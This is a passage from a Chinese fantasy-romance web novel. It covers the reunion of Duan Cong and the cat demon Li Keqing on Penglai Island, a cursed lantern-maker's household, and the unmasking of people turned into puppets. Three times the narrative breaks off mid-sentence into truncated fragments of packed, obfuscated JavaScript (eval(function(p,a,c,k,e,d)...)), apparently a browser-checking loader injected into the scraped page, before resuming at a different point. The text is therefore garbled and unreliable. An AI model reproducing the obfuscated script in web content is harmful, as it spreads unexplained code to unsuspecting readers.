身为钟乐时,她二十岁就斩杀了妖帝,名扬天下,享尽赞誉,那时的她,的确是心高气傲的。第一世乍然复活,除了法力微弱的无力感,大概,还有不甘。对白帝城第三场屠杀的不甘、无法释然。 但许是轮回了七世,做人做的多了,以往所不能接受的事,渐渐的,也就释然了。 美名也好、骂名也罢,惊艳也好、平庸也罢,只要这一生过的充实快乐,也就足够了。 只是,她的一生,没有记忆,没有过往,这样无所忧愁的就过去了。 但他呢? 段匆抬头,看着李刻青,小草精是个不会下棋的笨蛋,他自己和自己下棋,下了一千多年,这么多个漫长的无边的黑夜里,他可会觉得寂寞? 李刻青却伸手摸了摸她的头发,微笑道:“你可有爱过一个人?” 段匆觉得,她大概懂得了。 她道:“也许爱过一个……或者两个。”李刻青的一边眉头高高挑了起来,只可惜段匆还未发现,她继续道:“只是,我和他们都错过了,或许他们也曾爱过我,但那时我并不懂得爱,而当他们都离我远去的时候,我才终于知道了爱是什么。” 李刻青:“所以你爱过他们?” “有些晚了,但,算是吧。” “吧嗒”一声,李刻青的扇子掉在了地上。原来是他化做白猫的原形,转过身,朝着远处去了。 段匆懵道:“哎???你走什么?” 李刻青头也不回:“去睡觉。” 这样温柔的晚风,这样美的景,他就站在她面前,可是,她一脸惆怅的提起另外两个人,却丝毫没有想到就在她身边的他。 猫,是有脾气的,而且脾气是不小的。 段匆眨了眨眼,明白过来,笑了。 白猫步子很小,走的很优雅,她三两步追上他,不由分说,将他抱在怀里。 白猫哼道:“放开。” 段匆反而抱的更紧,并且很不老实的呼噜他柔软的肚子:“不放!” “我或许爱过他们,可是,那已经成为过去了。更何况,当时的我根本什么都不懂,我太过顽固和自负,执意要杀尽世上一切的妖,从而坚定的,站在了他们的对立面。可以说,他们都是因我而死,但是,那时候的我,根本不可能因此忏悔和心痛。而当我终于感到有些后悔的时候,他们早已经不复存在、或者不是当初的模样了。那一世我兜兜转转,跋涉奔波,却无奈一切总归是一场错过。但幸好而今,轮回七世,在这一世,我们没有错过。” “你懂吗?” 月光下,李刻青的唇角微微弯起——他在笑。 却可惜,此刻他化为猫形,一只猫的微笑,是很难看的出来的。 段匆等了半晌,见他无反应,索性心一横,从咯吱窝处抱着他两只前腿将他举起来,举至面前,凑上去、亲了一下白猫粉嫩的三瓣嘴。 月光变的黯淡了,原来不知何时,白猫化作了人形,变被动为主动,由她抱着他,改为他将她抱在怀里。温热的呼吸喷洒在鼻尖,柔软的唇瓣紧紧相贴,辗转间,段匆只觉得呼吸越来越急促,心跳越来越快…… “啧啧啧。” 段匆忙推开李刻青,转头看时,是宁芙和周浮生二人。 周浮生一脸嫉恨,而宁芙幸灾乐祸之间,有一丝隐隐的感伤。 不知怎么的,段匆竟有种被捉奸的感觉。她欲盖弥彰的咳嗽两声:“大师兄,师妹,你们来这里干什么?” 周浮生没好气:“这是我天门宗,怎么,我们不能来吗?” 李刻青慢条斯理的捡起方才掉落在地上的折扇,展开,笑眯眯道:“这里是天门宗的后山,安宁静谧,人迹罕至,两位来此,莫非是有什么很重要的事情要做?那自然是可以来的了。” 段匆噗一声笑出来,她一时竟忘了,这两位来这里,要做的,恐怕真是一件重要的事。 周浮生脸色很差。他与宁芙,没有爱,只凭乱糟糟的欲将二人纠缠在一起,与段匆和这猫妖的七世轮回相比,他们是多么的肤浅和上不得台面。一想到此周浮生就更加厌憎宁芙,当初是她先勾引了他! 他冷冷一甩袖子,看也不看宁芙,道:“我想起我还有事,先走了。” 宁芙将指甲深深的掐进手心中。她忘不了,小时候被欺负时,周浮生一脸矜持傲然的递过来的那把桃木剑。她想不懂,怎么就变成了如今这样。 气氛一时颇为尴尬,段匆觉得,宁芙又要和自己大骂一场了。好在,在这之前,李刻青抛出折扇,在明月中对她伸出手,道:“想回蓬莱岛看看吗?” 段匆伸手抓住他,跳上折扇:“好。” 变大了数十倍的折扇漂浮在夜空中,徐徐向蓬莱岛飞去。 下方,宁芙静静站在原地,面无血色的看着他们的身影越来越小。 - 一千三百年前,在段匆五岁的时候,她就来到了蓬莱岛。 那时候,这里还是座空岛,只有她一个人。再加上,清灏在岛外设了一道结界,法力不够强大的人和妖、根本就无法进来。 所以很长一段时间中,这里都只有她一个人。 她将这里当做家,十分用心的经营着。她砍了数十棵修长笔直的树木,将它们劈成厚薄适宜的木板,一条板一条板的搭建起了一院小木屋。后来,隐雀来了,用花梨木为她做了一把摇摇椅。再后来,李刻青来了,用藤条为他编织了一张小床。 “你的小床在这里。”段匆找到了那张小小的可容纳一只猫的床,笑道。 “你的摇摇椅,在这里。”李刻青也笑眯眯的搬出那把温润细腻的摇摇椅,将它和以往一样的放在门口。 段匆十分开心的躺到上面,可是,很快,她就笑不出来了。 ……院子里一群妖怪,虎视眈眈的瞪着她。 烙女蛇人面蛇身,被挖去眼珠的眼眶黑森森的,直勾勾的,朝着段匆。 段匆也奇怪,她的眼珠子已经没了,却好像还是能够看见。 “你怎么又来了?”烙女蛇阴嗖嗖道。 段匆理直气壮:“这是我家,我凭什么不能来?”她可没说谎,这里真的是她家! 蒙双氏相视一眼,一个说:“妹,她说这是她家。” 一个说:“哥,我们杀了她,炖汤喝。” 那群小老鼠精叽叽喳喳、吵吵嚷嚷,也不知在说些什么。不过段匆推测,估计还是商量着要抓了她炖汤喝的事。 高山君倒是很高兴:“你又来了咩?这次有病咩?需要我帮你看病咩?” 这时,李刻青走了出来,妖怪们瞬间就安静了。他们可打不过这只猫妖! 不过,表面上虽老实下来,可他们心里都十分不服气,也不走,就这样待在原地,沉默的瞪着段匆看。 段匆受不了了,被这一圈子火辣辣的目光包围着,根本就不能安心的躺在摇摇椅上休闲!她爬起来进了屋,待李刻青也进来后,哐当一声将门关上。 但从窗子里看时,这群妖怪还没有要走的趋势,仍旧默默的瞪着这间小木屋看。 段匆呻吟道:“百草道人呢,怎么也不管管他们?” 李刻青道:“那小老儿年纪大了,熬不住,晚上睡的早。”不过,想这群妖怪彻底离开,也是很简单的事。他展开手中折扇,笑吟吟道:“要么,我去管?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李刻青笑道:“不错,七十年前,我与他初遇。” 那时,百草道人还是一个六岁的孩子,父母患病双亡,亲戚都不愿接纳他这个拖油瓶,就是在那时,李刻青来到他身边,问他,是否愿意住在蓬莱。 七十年了,当年的孩子已经老了。 李刻青眨眨眼,纤长的睫毛颤动。 时光荏苒,对妖而言,不过短短的几十年,可对人而言,却已是此生的大半辈子。 他看着当年的孩童步步长大、变老、眼角皱纹丛生,而自己却仍旧满头青丝、分毫未变,固然会有伤感。 可是,他曾与他一起下棋、捕鱼、做饭、喝酒,在许多个黑夜里谈天说地——短暂人生中,他们曾相伴一程。虽然最后终会分离,虽然到了那一天会伤感,可是,却并没有遗憾。 李刻青看向段匆,伸手,轻轻拂过她的鬓发。 猫妖不同于寻常妖,生来就有九条命,可以将妖丹化作九瓣。可是,现在那九瓣已经用的差不多了。她体内虽共有七瓣,可是,其中六瓣已经化过了血肉,失去作用,唯余今世这一瓣。而待她活过了这一生,她的这一瓣,也就会烟消云散了。 届时,只剩下他身上的一瓣。她走了,他将仍活着,忍受千万年漫漫无边际的孤独。 可是,若将他身上的这一瓣给了她,她固然可以多活一世,但那时,他的妖丹散尽,九命耗竭,这世上便再也没有了他。 这当然没有关系,他愿意将最后一瓣妖丹也送给她。 可是,没有他,她的一生,会过的快乐吗?会受人欺辱吗?他都看不到、也帮不到了。 “你在想什么?”段匆见他出神,抬起头问道。 无论如何,最后的结局,他们终将会错过,她活着的时候世上无他,他活着的时候世上无她。 李刻青微笑了。 “我在想,春宵苦短,切勿浪费。” 说罢他伸手一挥,这间木屋外徒然出现一个流光溢彩的结界,妖怪们看不到这里面、也听不到里面有什么声音,恍然大悟般“嗷嗷”兴奋怪叫起来。 空气也徒然滚烫,段匆只感到他揽住自己的腰身轻轻一带,不知不觉间,整个人就随着他滚到了床上。 她耳垂滚烫,惊道:“你、你……” “嘘,不要说话,”猫妖贴着她的耳朵,气息灼灼,声音中满带沙哑和侵略性,“我已经等了,一千三百年了。” 也许终有一日……也许终有那么一日。 但至少,还有今生今世。 83. 第80章 段匆再醒来的时候,已经夕阳西斜、倦鸟归巢——她一觉睡到了第二日的黄昏。 试探着动了动身子,只觉得哪哪都不对劲,酸,涩,胀,痛……昨夜到后来,猫妖简直有些疯狂,死死的抓着她,仿佛失去神志,仿佛今后再也不会再见……段匆默默扶额,真是。 忽然闻到了鱼汤的香味,段匆眼前一亮。果然,猫妖端着一个陶罐子走了进来,旁边还有一个瓷碗,里面放着几只又白又大的馒头。 “醒来了?”他倒是一点没受影响,行云流水,姿态自然,十分温柔、又带点诱哄的道:“来,吃饭了。” 段匆要爬起来,无奈腰实在使不上力,一下子没能起来。 “等等,不用起来了。”猫妖眼疾手快的盛了一碗鱼汤出来,用法术让它悬浮在床边,又拿一个雪白的馒头递给段匆:“来,就在床上吃吧。” 一想到她是因为他才变成这样的,可罪魁祸首此时却和没事人一般,段匆就没好气。 李刻青看她不怎么高兴的样子,笑吟吟道:“还是说,你要我喂你?” 等等等等!还是她自己吃吧! 段匆拿过馒头,就着鱼汤,大口大口的吃喝起来。不一会儿,她就第一份鱼汤和馒头,李刻青忙给她又盛一碗鱼汤、又给一个馒头,段匆毫不客气的接过,大口大口也吃完了。 李刻青还要递,段匆摇摇头:“饱了。” “好,”李刻青点头,“那么……”他好像在示意她什么。 段匆不懂:“什么?” 李刻青挑眉:“你真不懂?” 段匆老实道:“真不懂。” 李刻青一脸无辜道:“是我炖的汤,所以,你,是不是应该洗碗?” “……”段匆一时间怀疑自己听错了。 她抱有一丝侥幸,问道:“什么?” 李刻青:“洗碗。” “……”三秒之后,段匆悲愤大喊:“我都成这样了,还让我洗碗,你还有没有人性啊!!!” 李刻青轻松道:“大概是没有的,可能因为,我是只猫吧。” “……”段匆要吐血了。她真的要吐血了。当初她就不该把他救回来的,就该让他在角斗场上备受欺凌。她今天算是知道了,猫,是冷血动物! “如果你真的不想洗碗么,也有别的办法。”李刻青慢悠悠的说道,段匆老觉得他没安好心,但还是不死心的,问了一句:“什么办法?” 李刻青坐在她身边,吐气魅惑:“外面天也快黑了,要不,我们继续昨晚的事?” 段匆:“……” - 段匆十分困惑,明明这一世最开始认识猫妖的时候,他不是这样的。那时候,他对她还挺好的,体贴,温和,百依百顺。可是从某个时刻开始,他好像忽然就变坏了。一天天的,脾气也越来越差了。 段匆想了想,是从哪一刻开始的呢? 好像,是从她恢复记忆的时候。 但,又似乎不全是。因为最开始在天门宗,她与他还未说破的时候,他待她还是十分温和的。 那么…… 段匆想到了。 大概,是从他已经确定她爱他的那一夜开始。 段匆怔了片刻,低下头,嘴角弯起,很温柔的笑了。 猫妖在蓬莱岛又幻化出了一片杏林,段匆在其间漫步,走着走着,忽然发现,当初的秋千架也重新回来了。她很开心的跑过去坐在上面。 她的背后,白猫默默注视着她。 前六世里,她做过无忧无虑的屠户的女儿,做过深宅大院中爱慕自己妹夫的妒妇,做过容貌丑陋但仍努力生活的市井小民,做过妖冶狐媚、骂名一片的皇后,也做过铁骨铮铮、誓死不降的亡国将军。甚至有一世她投错了性别,做了某个风流自在的世家公子,那一世,他二人最为心意相通,差点就要喜结连理,只是可惜,她是个男子,为了家族欣荣,最终与他诀别。 但无论是何种身份,何种性别,何种模样,她从来,都知道自己想要的是什么,她的一生,也都在为了她想要实现的那桩事而争取。 白猫眨眨眼,他想明白了。 这样的人,是能过好自己的一生的。哪怕没有他。 更何况,就算届时没有了他,还有小草精,它也会守着她的。 白猫施法,心口最后一瓣晶莹的妖丹显现,他看了片刻,笑了。 重新将妖丹放入胸膛,他化作人形,足尖一点,青衣舒展,片刻便飞到了秋千架旁。 段匆没回头,只笑道:“你推!” 李刻青笑眯眯:“好。” “对了,”秋千架高高飞起又落下,段匆有些纳闷的说,“小草精呢?好像从某个时候开始就没见过它了,它去哪儿了?” “那家伙,”李刻青好笑道:“当初重明要捉你的时候,便飞快的逃了。” 段匆:“……”真不仗义啊。 “不过,它有些时候还是有些仗义的。”李刻青继续说,“有些小事会当缩头乌龟,有些重要的大事上又会出头回来。当然,若它发现一切的风波都过去时,也自然会回来。且再等等吧。” 蓬莱岛的日子过的很快。 段匆白日里舒服的吃馒头、喝鱼汤,和一群妖怪们斗嘴、斗智、斗勇,晚上再和猫妖斗嘴、斗智、斗勇。日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李刻青自然知道她所知所想,有一种人,就是很难闲的下来。无所事事的安逸生活过不惯,需得经历风雨、忙忙碌碌,才觉得生活是充实的。当然,他自己,其实,在很早之前也就成为了这样一种人。否则,他也不会和小草精游历人间数百年了。 几日后,他们便收拾好行李,和百草道人告别了。 百草道人很是不舍,但各人有各人的理想,他给段匆送了几帖驻容养颜的珍贵草药,又十分感慨的摸了摸李刻青的头——他小的时候,李刻青就总是这样居高临下的摸他,美其名曰这是大人对小孩的关爱。如今时光流逝,局面倒转,他成为了那个大人,千言万语,最后只化为一句笑呵呵的:“你小子——去吧。” 李刻青垂眸笑笑,伸手按了按他的肩:“小老儿,下次再来找你喝酒。” 明媚春光中,两人御扇,迎风远去。 84. 第81章 最近,花府发生了一件大事。 最开始,是花府的男主人睡觉时做噩梦,梦到有妖怪藏在头顶的横梁上,在吊灯透出的朦胧血色光芒中,周围一片迷离,那妖怪似笑非笑,伸出长长的舌头,涎液流淌…… 男主人被惊醒了。 抬头,却发现横梁上什么都没有。只有那盏精致的八角吉祥如意灯,绢纱通透,垂穗摇晃,和以往一样的,透出红彤彤的光芒。 想来,是虚惊一场。男主人刚松了一口气,这时,只听“滴答”一声—— 有一滴涎液,顺着他的脸颊滑落了下来。 男主人吓疯了,立马请来无数捉妖名师,可是,那些捉妖师们来到花府后,却发现这里什么都没有。 男主人不信,可是,这些捉妖师确实将花府翻了个底朝天,什么都没有找到。 捉妖师们都说,许是男主人忧思过度,疑心过重,那日做噩梦,从他脸上滑落的,其实并不是现实中妖怪的涎液,而是他自己的汗水罢了。 他们都如此认为,男主人也无计可施,只得勉强说服自己,一切都是正常的。 如此,倒也算平安无事的过了一段日子。 这日,女主人在两个小丫鬟的搀扶下,在府中闲逛。彼时女主人已怀孕七月有余,孕肚明显,在两个丫鬟的搀扶下,小心翼翼的走过一条浮桥,坐在亭子里,吹着习习凉风,欣赏亭外池塘中接天莲叶无穷碧的荷花。 后来,据两个丫鬟回忆说,许是那日天气实在太过燥热,蓝天白云,夏日悠长,不知怎么的,她们两个就打起盹来了。 待醒来时,天已彻底黑了,而亭子中的女主人,不见了踪影。 两个丫鬟有些许心慌,但转念又想,许是女主人在这里坐久了无趣,自己先回卧房了。两个小丫鬟便匆匆的离开亭子、走过浮桥,去见女主人了。 而此时,池塘中,落水的女主人正奋力挣扎,大声呼救,可是,那两个丫鬟却闻所未闻,离她而去。 女主人被找到时,已是半夜了。 两个小丫鬟回了宅子,在卧房没找到女主人,正厅没有,厨房亦没有,这才大惊,发觉女主人失踪了。 男主人心急如焚,立马发动全府上下所有人打着灯笼寻找。终于,在池塘中找到了奄奄一息的女主人,漂浮在水面上,脸色死白,大肚子鼓鼓的,像只青蛙。 有殷红的鲜血,从她敞开的两腿间汩汩流出,染红了一片水波。 女主人侥幸活了下来,但是,她腹中的胎儿却成了死胎。 无奈,男主人只能请来医师,剖腹取子,当拿走那个已死去的胎儿时,女主人嘶声大哭—— 那孩子,分明已经成了形,和寻常婴儿无异,鼻子是鼻子,眼睛是眼睛,且已经能看出来,是个男胎。 可如今,他就这样没了! 女主人哀痛欲绝。男主人悲伤之余,勃然大怒,责问那两个小丫鬟为何玩忽职守、陷夫人于险境,两个小丫鬟惶恐的跪倒在地,大哭冤枉。可是,她二人到底为何在下午齐齐睡过去,又分明夫人在背后求救,她们却闻所未闻、见所未见? 分明有问题! 男主人下令杖责死她们。 可是,两个小丫鬟死了,花府里不祥的事却并未就此消失,反而,愈演愈烈。 男主人去书房找书,背后,一个厚重的书架忽然毫无征兆的朝他倒来,还好当时正值夜晚,他手中拿着一盏暖黄色的牛皮灯,灯光在地面照映出了朝他逼近的书架影子,他瞬间吓的一身冷汗,在就要被书架砸到时连滚带爬的躲开了。 女主人痛失爱子,心情郁郁,坚持要去当日落水的亭子中再看一眼。但是,走到那条通往亭子的浮桥的一半时,浮桥忽然毫无征兆的,从中间断开了。女主人瞬间落入水中。 还好这次,她身边跟的人多,立马匆忙的将她救上来。但若身边无人,恐怕以女主人如今孱弱的身体,就要真正的葬身其中了。 …… 花府的男主人终于后知后觉的联想到最开始的事情,又惊又惧,他确定,花府中,一定有妖怪,就算不是妖怪,那也一定是什么不祥的东西! 段匆和李刻青就是这样看到了花府的悬赏单。单上说,只要能解决花府那个不祥的东西,花府愿付白银千两、黄金百两,绫罗绸缎、珍珠宝石,更是不计其数。 段匆掰着指头算了算,啧啧,这么一大笔赏金,若是被他们赚到了,那这一辈子的吃喝都不用愁了!她羡慕道:“花府是做什么生意的,怎么这么有钱啊?” 李刻青道:“听说,是制灯的。” “灯?” “嗯,琉璃灯,羊皮灯,白玉灯,罗帛灯……总之,精巧秀丽,美轮美奂,各式各样的灯。” 他看段匆一脸神往的模样,颇有些不满的挑起眉:“你是觉得,跟了我太穷了?” 段匆咬着馒头,看着桌上唯一的一碟咸菜:“你觉得呢?” “……” 此时,不远处的宝月楼灯火辉煌,觥筹交错,一片富丽堂皇。可是,他们却只能在这个穷酸的小摊子前,点一碟最穷酸的咸菜,就着发面时有些发过头、因而显得有些酸的馒头吃。饶是如此,他们还是缺了两个铜板,好说歹说,让老板在十个铜板的基础上便宜了两个铜板。 老板悻悻然的骂了一句娘,接了。 李刻青也颇有些郁闷,最开始的时候想着浪迹天下、四海为家,路见不平拔刀相助,是多么快意潇洒的一件事。可是没想到,还没走出多远,他们就先被几个铜板绊住了。 他忍不住纳闷,他和小草精游历人间的那几百年到底是怎么过来的。 可是想了想,那段时间的记忆却十分模糊。 或许,是过了太久了。 默默的咀嚼了一会儿馒头和咸菜,李刻青忽地灵机一动,站起身:“走。” “啊?去哪儿?” 二人离开街头闹市,来到了野外一条清澈的小溪旁。朝里细看,果然可见一条条肥美游动的鱼儿。人间之物有名有姓、取之有尽,可自然之物却是取之不尽、用之不竭的。 一时间李刻青捉了鱼,段匆找来一堆树枝生了火,将鱼打剥干净,串在一根削尖的棍子上烤。 不一会儿,烤鱼便散发出幽幽香味。 两人各取一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天色渐渐晚了,最后一抹余晖消失,两人都有些微微喘息的分开,段匆摸摸发红的耳朵,李刻青倒是一脸淡定:“好,既然你不想提,那就不提了,反正,都过去那么久了。” 他看了看繁星浮现的夜幕:“今日天色已晚,不如我们先找个洞穴休息一夜,明日再去花府?” 段匆欣然答允。 两人倒真的找到一处洞穴,生了火,外面的夜色越来越浓重,如挥毫泼墨,段匆靠着李刻青的肩,安稳的睡着了。 “哔”的一声,一根小树枝炸出一个小小的火花。 李刻青睁开眼,眸中一片清醒,毫无睡意。 他看了看熟睡的段匆,伸手,在虚空画出一个奇形怪状的符咒。将符咒收拢在指尖,朝她眉心轻轻一点,符咒金光闪动,化入她的身体。 安眠咒,李刻青好笑,这还是最初她用在他身上的符咒。被他学了来,倒出奇的好用。 夜风猎猎,他走出洞穴,伸手一挥,在洞穴口设了一个结界。然后神色骤然冷下来,进入森林,朝着一个黑色的身影追赶而去。 85. 第82章 那个黑色的如同鬼魅的身影,李刻青是在吃烤鱼时发现的。 那个人穿一身黑斗篷,宽大的帽子遮住脸,在那片郁郁葱葱的树林中,默默观望着他们。 见李刻青看到了他,他也不躲,甚至微微点头,像是遥遥和他们致意。 虽看不见他的脸,李刻青却觉得,这一瞬间,他是在笑的。 阴险的、诡秘的、得意的笑。 ——这个人,很可能在他们出蓬莱岛时就已经跟上了他们。只不过,他们一路心情放松,全然疏忽了他的存在。 明月下,李刻青追的很快,不一会儿,就追上了那个黑衣人。 两个人过起招来,在某个瞬间,李刻青抓住时机,一把扯下他身上宽大的斗篷。 皎洁月光下,待看清他的脸,饶是已经提前有所准备,李刻青还是神色一凛。 “是你。” 月色下,那张脸,白皙的肤色,大大的眼睛,纯真的神情……那日在白帝城,钟乐法力尽失时,身上就是挂着她送的那块平安扣。而当平安扣碎裂,钟乐的法力又全部都回来。那时他就怀疑过她,只是,这一千多年来,他再未寻到过她的踪迹。他以为她当真死在了白帝城那场屠杀中,一切也就不了了之。 没想到,她重新回来了。 “你不是人,你是妖?”李刻青皱眉。 不,等等。 可如果是妖,为什么当时他们却从未觉察到她身上的妖气……半妖! 她是半妖! 一直以来,她都用身上那半人的血脉压制过了妖的血脉。所以,他们才从来未发觉过。 一千多年了,本该在白帝城屠杀当日就死去的女子,此时笑意盈盈的看着他,好像并不关心他的指认,而是作出一脸纯真的样子,好奇道:“你,怎么知道是我呢?” 李刻青扬起手,手中的斗篷是黑色,可是,却又不同于寻常的黑,而是好像波光粼粼、每一根丝线都闪烁着晶莹剔透的光华。这是鲛锦。 “你爱穿鲛锦,这么多年了,一直都没变。” “……”沉默片刻,楚欢大笑起来。 只是,她的笑声十分奇怪,十分呆滞诡异。 李刻青再次不动声色的皱了皱眉,他往后退了几步,霎时间,手中折扇如刀旋出,狠狠的凌厉削去了她的头颅。温热鲜血溅落,楚欢的头颅骨碌碌滚落到他脚下。 可是,她竟还在笑,还在说话:“真是,怎么这么不怜香惜玉呢?” 一团巨大的云翳遮住了明月,树林中阴气森森,尤其再加上这样一颗会说话的头颅,可谓是诡异至极。 楚欢剩下的无头尸体也未倒,而是直挺挺的立在原地。李刻青觉得这样有些不敬,可是,要验证他的想法,也只有这一个办法了。 他朝脚下的头颅说声:“得罪了。” 一咬牙,上前一步,一把扯开了那具无头尸体的衣服。 地上的头颅怪笑起来:“你这样,叫人多不好意思呢。” 李刻青:“……闭嘴!” 右边没有,他一横心,一把又扯开了左边。头颅幽幽道:“还不够吗?” 李刻青:“……” 头颅还在喋喋不休的说着一些怪话,李刻青觉得自己简直要爆炸了。还好,他终于找到了!是在心口处,有一道十分整齐的切口,上面隐约可见一条细细的红线。 李刻青收拢她的衣服,一时间,满腔的敌意化为了同情。 她不是半妖,而是…… 傀儡。 有人将她做成了傀儡。 不过,致命的伤口并不在脖子上,而是在心口。所以,在外面也就看不见那条红线,她是傀儡的事,也就不容易被人发现了。 “是谁将你做成了傀儡?” 他知道此时的楚欢早已不是一千多年前的那个楚欢了,她的一言一行,也都是有人在背后操纵,可是,还是忍不住问了这么一句。 那头颅沉默片刻,低声说:“变成这样,我乐意。” 李刻青道:“你不会。傀儡无知无觉、无情无爱,你甚至都不是你自己,你只不过是由他人操纵的一具空壳。” 头颅突然尖叫起来:“闭嘴!你闭嘴!”她好像十分愤怒。 李刻青默然片刻,将头颅捡起来,安置在无头尸体上。不一会儿,只见脖颈间出现了一条细细的红线,原本分离的头颅和脖子重新连在了一起。 楚欢瞪着他,大大的眼睛中早已失去往日神采,唯余黑漆漆的仇恨,李刻青叹了口气,道:“你这样,她看到会伤心的。” 究竟是谁,将楚欢变成了这样? “还有,你到底有什么目的?” 楚欢的笑忽然变得十分诡秘,她、或者说她背后操纵她的那个人,一字一句玩味的说道:“我来,是要送你一个礼物。” 李刻青一愣,随即心头一跳,在傀儡还未反应过来的时候,他已踏上折扇,在月色下疯了一般的远去。不一会儿便到了方才的洞穴口,待看清眼前景象,他的心这才蓦然回落—— 结界还好好的。里面的人也好好的,嘴角弯弯,睡的正香。 可是,礼物,到底是什么礼物…… 李刻青方安稳下来的心再次不安起来。他捏出两只传音灵蝶,蓬莱岛那边,百草道人很快回话:“怎么了,深更半夜的,你小子?” 可是,天门宗那边却迟迟无人应答。李刻青犹豫一下,最终还是没有让段匆醒来。不过留她在这里,他却也无法放心。 想了想,他设了一个球状结界,将她包围其中。 结界流光溢彩,外面看上去就好像一个美丽的泡泡,跟在他的身侧。 李刻青带着这个泡泡去了天门宗。 天门宗之中,无声无息,一片诡异的寂静。 夜色黯淡,李刻青警惕的穿行其中,忽然,迎面撞上一个人影。是周浮生,李刻青抓住他:“是你,这里没什么事吧?” 周浮生一脸平静:“没事,怎么了?” 他说“没事”,李刻青或许本该放心的,可是,此时的他太过平静了,全然不同往日里贱兮兮的模样,平静的反而令人心生怀疑。 李刻青挑起眉:“当真,什么事都没有?” 周浮生蓦地抬头看着他,双拳紧握,嘴唇发白颤抖,道:“没有。” “当真,没有?” 一道寒光闪过,竟是周浮生起了杀心,想一剑杀了他!不过,这小子的法力还远远不敌他呢。李刻青轻松躲开,两指夹住剑尖,轻轻一弹,剑身寸寸断裂。 周浮生有问题,有很大的问题。 - 宁芙本来约了周浮生一起练剑,只是,左等右等也不见他来,于是过来寻周浮生。没想到,正好看到这一幕。她当即认为是猫妖欺负大师兄,可是,她一人也不是猫妖的对手,于是,她叫了很多人过来。 大家都在,宁芙有了底气。她挡到周浮生身前,看着李刻青,咬牙切齿道:“妖物,你方才想伤害他?果然,”她向大家道:“妖就是妖,本性难移。” 说罢她又冷冷瞪了眼结界中沉睡的段匆:“我们还在等什么?该马上杀了他才是!” 李刻青忽然道:“你是谁?” 宁芙一愣。 “你是谁?”原来这话却不是对宁芙所说,而是对周浮生所说。 他如此不对劲,李刻青方才一思索,想到了一个可能性:周浮生,或许已经不是周浮生,楚欢背后那人送给他的礼物,或许,就是将周浮生也做成了傀儡。 周浮生冷笑:“你这妖怪三更半夜出现在此,我还没有问你有什么企图,你却反过来问我是谁?” 他一定不对劲,李刻青皱眉,当即抓住他袖子,宁芙惊道:“放手!你想干什么!别以为段匆和你相识我们就会对你手软!” 看来那人所送的“礼物”,发生在不知不觉之间,天门宗的众人都没有察觉。李刻青没时间和宁芙废话,扫视一圈,见周丁异和苏有容等人都在场,朝他们点点头,快速将今夜之事讲述了一遍。 苏有容听罢,眉头皱了起来。 傀儡之术最早是由天师钟乐、也就是段匆师妹的前世所创,但是,因这傀儡之术过于恶毒,钟乐死去后,后世的修士便将它列为禁术,不许弟子修行这样的术法。 她在天门宗十余年,从未见过傀儡之术,没想到,今夜李刻青会怀疑天门宗上有人中了傀儡之术。 苏有容凝重道:“你觉得……大师兄他此时已是傀儡?” 李刻青点头:“不错。” 宁芙心中已掀起惊涛骇浪,她看大师兄明明和以往毫无二致,一样的身姿,一样的眉眼,可是,这猫妖竟然说,大师兄早已经不是原来的那个大师兄了!宁芙咬牙道:“闭嘴!我不信!” 这时,周丁异也忙挡在周浮生面前,摸一把山羊胡子,咳道:“傀儡之术早已为禁术,当今世间无人会用。你啊你,你这猫妖,怎么这样轻易就赖到我生儿身上呢?还有,”他戳一戳包围住段匆的泡泡结界,愁苦道:“我徒儿这又是怎么回事?你可莫欺负她。” “不会的,只是安眠咒而已。”李刻青安抚的摸了摸泡泡结界。 转而,又挑起眉头,望向周浮生:“至于他到底是不是傀儡,我们一探便知。” “周大师兄,你肯掀开衣服、让我们看一看吗?” 只看一看便可以查明真身,好像也没有什么不可以。宁芙期待的看着周浮生,心道,大师兄,快让他看啊,证明你就是你。可是,周浮生却冷冷一掀衣摆:“荒谬!你们不信我,却信一只妖怪?” 他转身就走,李刻青却不给他这个机会,掌中法力凝聚,在周浮生周围燃出四面炙热的火墙,困住了他。 周浮生冷笑:“一群废物,蠢才!” 宁芙一时间心咚的一声,如落冰窖,她双眼含泪,不可置信道:“大师兄?你当真……” “他已经不是他了。”李刻青道。 只要他愿意让他们查探他身上是否有红线包围着那道致命的伤口,若无,便能轻松证明他的清白,可是,他毫不犹豫的拒绝了,这只能说明,他 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她颤抖着含泪唤道:“大师兄!大师兄你醒醒啊!” 李刻青叹了口气。 傀儡,已经是死人了。它没有思想,没有灵魂,它的一言一行,都是有人在背后操纵,它根本不知道自己是谁。又怎么可能再唤醒呢? 可又到底是谁,拥有这样大的神通,能无知无觉便潜入天门宗,杀了周浮生? 等等,有了! 尘缘镜! 他一时竟将尘缘镜给忘了。 李刻青从段匆身上拿到尘缘镜,走到周浮生面前。 他虽成为了傀儡,可是想必之前的那些记忆还是存在于他脑海的,应该,也是能看到的。 李刻青拂过镜面,镜面发出闪闪的金光。 …… 巨大的云翳遮挡住明月,天门宗处在一片黯淡之中。小弟子们下了晚课,洗漱完毕,躺在床上,甜蜜而充实的进入了梦乡。 而大殿外,周浮生提着自己的剑,来回走动,一脸纠结的嘀咕:“到底是去呢,还是不去呢……” 宁芙今夜约了他练剑。 可是,他老觉得,如今他和宁芙这样的关系不太好,但停下来吧……嘶……又好像也不是他想要的…… 愁眉苦脸的思索再三,周浮生一咬牙:“罢了罢了!” 去又如何?不好又如何?反正段匆又不喜欢他,而宁芙面对他时温柔体贴、百依百顺,他迷恋这样的感觉,有什么不好? 就在这时,他的身后,出现了一道黑色的、晃晃悠悠的影子。 看清这影子的瞬间,李刻青神色骤变,紧紧的捏着镜子,将它都快捏碎掉了。 